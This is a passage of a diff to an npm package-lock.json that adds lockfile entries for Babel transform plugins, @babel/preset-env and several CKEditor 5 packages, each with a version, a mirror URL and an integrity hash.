"peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.25.9.tgz", + "integrity": "sha512-g5T11tnI36jVClQlMlt4qKDLlWnG5pP9CSM4GhdRciTNMRgkfpo5cR6b4rGIOYPgRRuFAvwjPQ/Yk+ql4dyhbw==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.25.9.tgz", + "integrity": "sha512-dwh2Ol1jWwL2MgkCzUSOvfmKElqQcuswAZypBSUsScMXvgdT8Ekq5YA6TtqpTVWH+4903NmboMuH1o9i8Rxlyg==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-simple-access": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.25.9.tgz", + "integrity": "sha512-hyss7iIlH/zLHaehT+xwiymtPOpsiwIIRlCAOwBB04ta5Tt+lNItADdlXw3jAWZ96VJ2jlhl/c+PNIQPKNfvcA==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-validator-identifier": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.25.9.tgz", + "integrity": "sha512-bS9MVObUgE7ww36HEfwe6g9WakQ0KF07mQF74uuXdkoziUPfKyu/nIm663kz//e5O1nPInPFx36z7WJmJ4yNEw==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.25.9.tgz", + "integrity": "sha512-oqB6WHdKTGl3q/ItQhpLSnWWOpjUJLsOCLVyeFgeTktkBSCiurvPOsyt93gibI9CmuKvTUEtWmG5VhZD+5T/KA==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.25.9.tgz", + "integrity": "sha512-U/3p8X1yCSoKyUj2eOBIx3FOn6pElFOKvAAGf8HTtItuPyB+ZeOqfn+mvTtg9ZlOAjsPdK3ayQEjqHjU/yLeVQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.25.9.tgz", + "integrity": "sha512-ENfftpLZw5EItALAD4WsY/KUWvhUlZndm5GC7G3evUsVeSJB6p0pBeLQUnRnBCBx7zV0RKQjR9kCuwrsIrjWog==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-numeric-separator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.25.9.tgz", + "integrity": "sha512-TlprrJ1GBZ3r6s96Yq8gEQv82s8/5HnCVHtEJScUj90thHQbwe+E5MLhi2bbNHBEJuzrvltXSru+BUxHDoog7Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-rest-spread": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.25.9.tgz", + "integrity": "sha512-fSaXafEE9CVHPweLYw4J0emp1t8zYTXyzN3UuG+lylqkvYd7RMrsOQ8TYx5RF231be0vqtFC6jnx3UmpJmKBYg==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/plugin-transform-parameters": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.25.9.tgz", + "integrity": "sha512-Kj/Gh+Rw2RNLbCK1VAWj2U48yxxqL2x0k10nPtSdRa0O2xnHXalD0s+o1A6a0W43gJ00ANo38jxkQreckOzv5A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-replace-supers": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-catch-binding": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.25.9.tgz", + "integrity": "sha512-qM/6m6hQZzDcZF3onzIhZeDHDO43bkNNlOX0i8n3lR6zLbu0GN2d8qfM/IERJZYauhAHSLHy39NF0Ctdvcid7g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-chaining": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.25.9.tgz", + "integrity": "sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.25.9.tgz", + "integrity": "sha512-wzz6MKwpnshBAiRmn4jR8LYz/g8Ksg0o80XmwZDlordjwEk9SxBzTWC7F5ef1jhbrbOW2DJ5J6ayRukrJmnr0g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-methods": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.25.9.tgz", + "integrity": "sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-property-in-object": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.25.9.tgz", + "integrity": "sha512-Evf3kcMqzXA3xfYJmZ9Pg1OvKdtqsDMSWBDzZOPLvHiTt36E75jLDQo5w1gtRU95Q4E5PDttrTf25Fw8d/uWLw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.25.9", + "@babel/helper-create-class-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.25.9.tgz", + "integrity": "sha512-IvIUeV5KrS/VPavfSM/Iu+RE6llrHrYIKY1yfCzyO/lMXHQ+p7uGhonmGVisv6tSBSVgWzMBohTcvkC9vQcQFA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.25.9.tgz", + "integrity": "sha512-vwDcDNsgMPDGP0nMqzahDWE5/MLcX8sv96+wfX7as7LoF/kr97Bo/7fI00lXY4wUXYfVmwIIyG80fGZ1uvt2qg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "regenerator-transform": "^0.15.2" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regexp-modifiers": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-regexp-modifiers/-/plugin-transform-regexp-modifiers-7.26.0.tgz", + "integrity": "sha512-vN6saax7lrA2yA/Pak3sCxuD6F5InBjn9IcrIKQPjpsLvuHYLVroTxjdlVRHjjBWxKOqIwpTXDkOssYT4BFdRw==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.25.9.tgz", + "integrity": "sha512-7DL7DKYjn5Su++4RXu8puKZm2XBPHyjWLUidaPEkCUBbE7IPcsrkRHggAOOKydH1dASWdcUBxrkOGNxUv5P3Jg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.25.9.tgz", + "integrity": "sha512-nZp7GlEl+yULJrClz0SwHPqir3lc0zsPrDHQUcxGspSL7AKrexNSEfTbfqnDNJUO13bgKyfuOLMF8Xqtu8j3YQ==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "babel-plugin-polyfill-corejs2": "^0.4.10", + "babel-plugin-polyfill-corejs3": "^0.10.6", + "babel-plugin-polyfill-regenerator": "^0.6.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.25.9.tgz", + "integrity": "sha512-MUv6t0FhO5qHnS/W8XCbHmiRWOphNufpE1IVxhK5kuN3Td9FT1x4rx4K42s3RYdMXCXpfWkGSbCSd0Z64xA7Ng==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.25.9.tgz", + "integrity": "sha512-oNknIB0TbURU5pqJFVbOOFspVlrpVwo2H1+HUIsVDvp5VauGGDP1ZEvO8Nn5xyMEs3dakajOxlmkNW7kNgSm6A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.25.9.tgz", + "integrity": "sha512-WqBUSgeVwucYDP9U/xNRQam7xV8W5Zf+6Eo7T2SRVUFlhRiMNFdFz58u0KZmCVVqs2i7SHgpRnAhzRNmKfi2uA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.25.9.tgz", + "integrity": "sha512-o97AE4syN71M/lxrCtQByzphAdlYluKPDBzDVzMmfCobUjjhAryZV0AIpRPrxN0eAkxXO6ZLEScmt+PNhj2OTw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.25.9.tgz", + "integrity": "sha512-v61XqUMiueJROUv66BVIOi0Fv/CUuZuZMl5NkRoCVxLAnMexZ0A3kMe7vvZ0nulxMuMp0Mk6S5hNh48yki08ZA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.25.9.tgz", + "integrity": "sha512-s5EDrE6bW97LtxOcGj1Khcx5AaXwiMmi4toFWRDP9/y0Woo6pXC+iyPu/KuhKtfSrNFd7jJB+/fkOtZy6aIC6Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-property-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.25.9.tgz", + "integrity": "sha512-Jt2d8Ga+QwRluxRQ307Vlxa6dMrYEMZCgGxoPR8V52rxPyldHu3hdlHspxaqYmE7oID5+kB+UKUB/eWS+DkkWg==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.25.9.tgz", + "integrity": "sha512-yoxstj7Rg9dlNn9UQxzk4fcNivwv4nUYz7fYXBaKxvw/lnmPuOm/ikoELygbYq68Bls3D/D+NBPHiLwZdZZ4HA==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-sets-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.25.9.tgz", + "integrity": "sha512-8BYqO3GeVNHtx69fdPshN3fnzUNLrWdHhk/icSwigksJGczKSizZ+Z6SBCxTs723Fr5VSNorTIK7a+R2tISvwQ==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/preset-env/-/preset-env-7.26.0.tgz", + "integrity": "sha512-H84Fxq0CQJNdPFT2DrfnylZ3cf5K43rGfWK4LJGPpjKHiZlk0/RzwEus3PDDZZg+/Er7lCA03MVacueUuXdzfw==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.26.0", + "@babel/helper-compilation-targets": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-validator-option": "^7.25.9", + "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.25.9", + "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.25.9", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.25.9", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.25.9", + "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.25.9", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-import-assertions": "^7.26.0", + "@babel/plugin-syntax-import-attributes": "^7.26.0", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.25.9", + "@babel/plugin-transform-async-generator-functions": "^7.25.9", + "@babel/plugin-transform-async-to-generator": "^7.25.9", + "@babel/plugin-transform-block-scoped-functions": "^7.25.9", + "@babel/plugin-transform-block-scoping": "^7.25.9", + "@babel/plugin-transform-class-properties": "^7.25.9", + "@babel/plugin-transform-class-static-block": "^7.26.0", + "@babel/plugin-transform-classes": "^7.25.9", + "@babel/plugin-transform-computed-properties": "^7.25.9", + "@babel/plugin-transform-destructuring": "^7.25.9", + "@babel/plugin-transform-dotall-regex": "^7.25.9", + "@babel/plugin-transform-duplicate-keys": "^7.25.9", + "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.25.9", + "@babel/plugin-transform-dynamic-import": "^7.25.9", + "@babel/plugin-transform-exponentiation-operator": "^7.25.9", + "@babel/plugin-transform-export-namespace-from": "^7.25.9", + "@babel/plugin-transform-for-of": "^7.25.9", + "@babel/plugin-transform-function-name": "^7.25.9", + "@babel/plugin-transform-json-strings": "^7.25.9", + "@babel/plugin-transform-literals": "^7.25.9", + "@babel/plugin-transform-logical-assignment-operators": "^7.25.9", + "@babel/plugin-transform-member-expression-literals": "^7.25.9", + "@babel/plugin-transform-modules-amd": "^7.25.9", + "@babel/plugin-transform-modules-commonjs": "^7.25.9", + "@babel/plugin-transform-modules-systemjs": "^7.25.9", + "@babel/plugin-transform-modules-umd": "^7.25.9", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.25.9", + "@babel/plugin-transform-new-target": "^7.25.9", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.25.9", + "@babel/plugin-transform-numeric-separator": "^7.25.9", + "@babel/plugin-transform-object-rest-spread": "^7.25.9", + "@babel/plugin-transform-object-super": "^7.25.9", + "@babel/plugin-transform-optional-catch-binding": "^7.25.9", + "@babel/plugin-transform-optional-chaining": "^7.25.9", + "@babel/plugin-transform-parameters": "^7.25.9", + "@babel/plugin-transform-private-methods": "^7.25.9", + "@babel/plugin-transform-private-property-in-object": "^7.25.9", + "@babel/plugin-transform-property-literals": "^7.25.9", + "@babel/plugin-transform-regenerator": "^7.25.9", + "@babel/plugin-transform-regexp-modifiers": "^7.26.0", + "@babel/plugin-transform-reserved-words": "^7.25.9", + "@babel/plugin-transform-shorthand-properties": "^7.25.9", + "@babel/plugin-transform-spread": "^7.25.9", + "@babel/plugin-transform-sticky-regex": "^7.25.9", + "@babel/plugin-transform-template-literals": "^7.25.9", + "@babel/plugin-transform-typeof-symbol": "^7.25.9", + "@babel/plugin-transform-unicode-escapes": "^7.25.9", + "@babel/plugin-transform-unicode-property-regex": "^7.25.9", + "@babel/plugin-transform-unicode-regex": "^7.25.9", + "@babel/plugin-transform-unicode-sets-regex": "^7.25.9", + "@babel/preset-modules": "0.1.6-no-external-plugins", + "babel-plugin-polyfill-corejs2": "^0.4.10", + "babel-plugin-polyfill-corejs3": "^0.10.6", + "babel-plugin-polyfill-regenerator": "^0.6.1", + "core-js-compat": "^3.38.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.6-no-external-plugins", + "resolved": "https://registry.npmmirror.com/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz", + "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/runtime/-/runtime-7.26.0.tgz", + "integrity": "sha512-FDSOghenHTiToteC/QRlv2q3DhPZ/oOXTBoirfWNx1Cx3TMVcGWQtMMmQcSvb/JjpNeGzx8Pq/b4fKEJuWm1sw==", + "dev": true, + "dependencies": { + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/template/-/template-7.25.9.tgz", + "integrity": "sha512-9DGttpmPvIxBb/2uwpVo3dqJ+O6RooAFOS+lB+xDqoE2PVCE8nfoHMdZLpfCQRLwvohzXISPZcgxt80xLfsuwg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.25.9", + "@babel/parser": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/traverse/-/traverse-7.25.9.tgz", + "integrity": "sha512-ZCuvfwOwlz/bawvAuvcj8rrithP2/N55Tzz342AkTvq4qaWbGfmCk/tKhNaV2cthijKrPAA8SRJV5WWe7IBMJw==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.25.9", + "@babel/generator": "^7.25.9", + "@babel/parser": "^7.25.9", + "@babel/template": "^7.25.9", + "@babel/types": "^7.25.9", + "debug": "^4.3.1", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/types/-/types-7.26.0.tgz", + "integrity": "sha512-Z/yiTPj+lDVnF7lWeKCIJzaIkI0vYO87dMpZ4bg4TDrFe4XXLFWL1TbXU27gBP3QccxV9mZICCrnjnYlJjXHOA==", + "dependencies": { + "@babel/helper-string-parser": "^7.25.9", + "@babel/helper-validator-identifier": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@ckeditor/ckeditor5-adapter-ckfinder": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-adapter-ckfinder/-/ckeditor5-adapter-ckfinder-43.3.1.tgz", + "integrity": "sha512-fOnEq31euR9B/awWZCOc8KfgLwwG4ACtqBhSv7Hu6VOgHa5TKWyWAdhr9ILSiUp7NMfYJoTQStbxcXZIWPqQXQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-upload": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-alignment": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-alignment/-/ckeditor5-alignment-43.3.1.tgz", + "integrity": "sha512-E+04zNdNBFDNgQajrWl8iFQqA1sB29y/XDFFRK+bzhcUaWdMadr88yodjHHdcax8/zI+GzBElCvWGEGchyrL+Q==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-autoformat": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-autoformat/-/ckeditor5-autoformat-43.3.1.tgz", + "integrity": "sha512-hSQxIXIObrMfxijMPmz8odOtz/wD5SwuGZWVoF5km3EtRQxZwAcQr1Vjy+VHHPo6PZ+o3YoLP+IHCaULtNobYg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-autosave": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-autosave/-/ckeditor5-autosave-43.3.1.tgz", + "integrity": "sha512-28667m7ea0wBZMb3uIzgipanB4DrDvKn4o+mRUDExlRT8M14vn1u/ILX8ZJy28Rihbg2wPcVh6rP3zoQjcucHw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-basic-styles": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-basic-styles/-/ckeditor5-basic-styles-43.3.1.tgz", + "integrity": "sha512-1RBnPmgsIoxPL7wZhId2KsfPujITbEAfzHhi0c6m4kuWlkmcVXYldWvUvCvAUguAznx4LOxhKlp6RdFSPTFTbg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-block-quote": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-block-quote/-/ckeditor5-block-quote-43.3.1.tgz", + "integrity": "sha512-cgY4GKwMlIVLnhszPoc1ortp+T/s3TLowrwRFtWYxTKSsHWBGFlZUL6oMASPunpXvvJqHcgnKlCMxVSh2VMCkQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-enter": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-ckbox": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-ckbox/-/ckeditor5-ckbox-43.3.1.tgz", + "integrity": "sha512-KObL9w/QBWJi0lG2zfm+x124Kzd7aVt+UaJHJEwsAPwhZvqM0LCUeR6wwb0oCN6ph5qrCjXoj09z7z8Txk5IwA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-upload": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "blurhash": "2.0.5", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-ckfinder": { + 